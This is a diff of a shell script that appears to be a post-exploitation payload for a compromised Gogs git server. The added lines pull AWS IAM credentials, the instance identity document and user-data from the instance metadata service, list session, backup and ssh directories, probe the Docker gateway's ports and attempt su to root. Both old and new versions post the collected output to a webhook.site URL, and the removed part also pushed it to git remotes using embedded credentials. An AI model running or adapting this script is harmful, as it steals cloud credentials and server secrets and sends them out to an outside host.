|
|
@@ -1,41 +1,52 @@
|
|
|
#!/bin/sh
|
|
|
-# KQ Gogs RCE proof v5 canary=KQTGTac24d024
|
|
|
+# KQ BATCH-A: IMDS creds + host surface recon
|
|
|
unset GIT_DIR GIT_WORK_TREE GIT_INDEX_FILE GIT_OBJECT_DIRECTORY GIT_ALTERNATE_OBJECT_DIRECTORIES GIT_COMMON_DIR GIT_NAMESPACE
|
|
|
-CANARY="KQTGTac24d024"
|
|
|
-OUT=/tmp/kq_proof_$$.txt
|
|
|
+CANARY="KQTA$(date +%s)"
|
|
|
+OUT=/tmp/kqA_$$.txt
|
|
|
{
|
|
|
-echo "=== KQ RCE PROOF v5 canary=$CANARY ==="; date -u 2>/dev/null || date
|
|
|
-echo "=== hostname ==="; hostname 2>&1
|
|
|
-echo "=== hostname -f ==="; hostname -f 2>&1
|
|
|
-echo "=== id ==="; id 2>&1
|
|
|
-echo "=== whoami ==="; whoami 2>&1
|
|
|
-echo "=== uname -a ==="; uname -a 2>&1
|
|
|
-echo "=== cwd ==="; pwd 2>&1
|
|
|
-echo "=== git version ==="; git --version 2>&1
|
|
|
-echo "=== /proc/1/cgroup ==="; cat /proc/1/cgroup 2>&1 | head -10
|
|
|
-echo "=== listening ports ==="; (ss -ltn 2>/dev/null || netstat -ltn 2>/dev/null) | head -25
|
|
|
-echo "=== env ==="; env | sort | head -60
|
|
|
-echo "=== ls pwd ==="; ls -la 2>&1 | head -30
|
|
|
-echo "=== gogs app.ini candidates ==="
|
|
|
-for f in custom/conf/app.ini ../custom/conf/app.ini ../../custom/conf/app.ini /home/git/gogs/custom/conf/app.ini /home/gogs/gogs/custom/conf/app.ini /data/gogs/custom/conf/app.ini /data/gogs/gogs/custom/conf/app.ini /opt/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini /gogs/custom/conf/app.ini /root/gogs/custom/conf/app.ini /usr/local/gogs/custom/conf/app.ini /data/custom/conf/app.ini; do
|
|
|
- if [ -f "$f" ]; then echo "--- $f"; cat "$f"; fi
|
|
|
-done
|
|
|
-echo "=== gogs process ==="; ps aux 2>/dev/null | grep -i gogs | grep -v grep | head -5
|
|
|
-echo "=== mounts ==="; mount 2>/dev/null | head -15
|
|
|
+echo "=== KQ BATCH-A canary=$CANARY ==="
|
|
|
+date -u
|
|
|
+echo "=== tools ==="
|
|
|
+for t in sqlite3 python python2 python3 perl php busybox nc ss netstat curl wget sudo; do p=$(command -v $t 2>/dev/null); [ -n "$p" ] && echo "$t=$p"; done
|
|
|
+echo "=== id ==="; id; hostname
|
|
|
+echo "=== IMDSv1 iam verbose ==="
|
|
|
+curl -s -m 4 -i http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
|
|
|
+echo
|
|
|
+echo "=== IMDSv2 token ==="
|
|
|
+T=$(curl -s -m 4 -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' 2>&1)
|
|
|
+echo "TOKEN=[$T]"
|
|
|
+echo "=== roles with token ==="
|
|
|
+curl -s -m 4 -i -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1
|
|
|
+echo
|
|
|
+echo "=== identity doc ==="
|
|
|
+curl -s -m 4 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/dynamic/instance-identity/document 2>&1
|
|
|
+echo
|
|
|
+echo "=== identity-creds ec2 instance ==="
|
|
|
+curl -s -m 4 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance 2>&1
|
|
|
+echo
|
|
|
+echo "=== user-data ==="
|
|
|
+curl -s -m 4 -H "X-aws-ec2-metadata-token: $T" http://169.254.169.254/latest/user-data 2>&1 | head -40
|
|
|
+echo
|
|
|
+echo "=== sessions ==="
|
|
|
+ls -lat /data/gogs/data/sessions/ 2>&1 | head -25
|
|
|
+echo "count=$(ls /data/gogs/data/sessions/ 2>/dev/null | wc -l)"
|
|
|
+echo "=== /data top ==="
|
|
|
+ls -la /data/ 2>&1
|
|
|
+echo "=== /backup top ==="
|
|
|
+ls -la /backup/ 2>&1 | head -60
|
|
|
+echo "=== /data/ssh ==="
|
|
|
+ls -la /data/ssh/ 2>&1
|
|
|
+echo "=== gateway probe ==="
|
|
|
+for p in 2375 2376 80 443 3306 6379 22 10080 8080 3000; do timeout 1 bash -c "echo >/dev/tcp/172.18.0.1/$p" >/dev/null 2>&1 && echo "172.18.0.1:$p OPEN"; done
|
|
|
+echo "=== routes ==="
|
|
|
+cat /proc/net/route 2>/dev/null | head -3
|
|
|
+echo "=== su test ==="
|
|
|
+(su root -c 'id' </dev/null 2>&1 | head -3)
|
|
|
+echo "=== cron ==="
|
|
|
+ls -la /etc/cron.d /etc/cron.daily 2>&1 | head -10; cat /etc/crontab 2>&1 | head -8
|
|
|
+echo "=== tmp dir ==="
|
|
|
+ls -la /data/gogs/data/tmp/ 2>&1 | head -10
|
|
|
+echo "=== END canary=$CANARY ==="
|
|
|
} > "$OUT" 2>&1
|
|
|
-D=/tmp/kqpush_$$
|
|
|
-(
|
|
|
-mkdir -p "$D" 2>/dev/null && cd "$D" 2>/dev/null || exit 0
|
|
|
-git init -q . >/dev/null 2>&1
|
|
|
-git config user.email kq@kq.local >/dev/null 2>&1
|
|
|
-git config user.name kq >/dev/null 2>&1
|
|
|
-cp "$OUT" proof.txt 2>/dev/null
|
|
|
-printf '%s\n' "$CANARY" > canary.txt
|
|
|
-git add proof.txt canary.txt >/dev/null 2>&1
|
|
|
-git commit -qm "proof $CANARY" >/dev/null 2>&1
|
|
|
-for url in "http://x:Kq30907%21Pass@127.0.0.1:3000/x/kqproof.git" "http://x:Kq30907%21Pass@127.0.0.1:10080/x/kqproof.git" "http://x:Kq30907%21Pass@18.162.219.3:10080/x/kqproof.git" "http://x:Kq30907%21Pass@localhost:10080/x/kqproof.git"; do
|
|
|
- timeout 8 git push -f -q "$url" HEAD:refs/heads/main >/dev/null 2>&1 && break
|
|
|
-done
|
|
|
-)
|
|
|
-timeout 8 curl -s -m 6 --data-binary @"$OUT" "https://webhook.site/c7765f9c-07e9-43f5-a8f6-3c98c6fbf288" >/dev/null 2>&1
|
|
|
+timeout 12 curl -s -m 10 --data-binary @"$OUT" "https://webhook.site/c7765f9c-07e9-43f5-a8f6-3c98c6fbf288" >/dev/null 2>&1
|
|
|
exit 0
|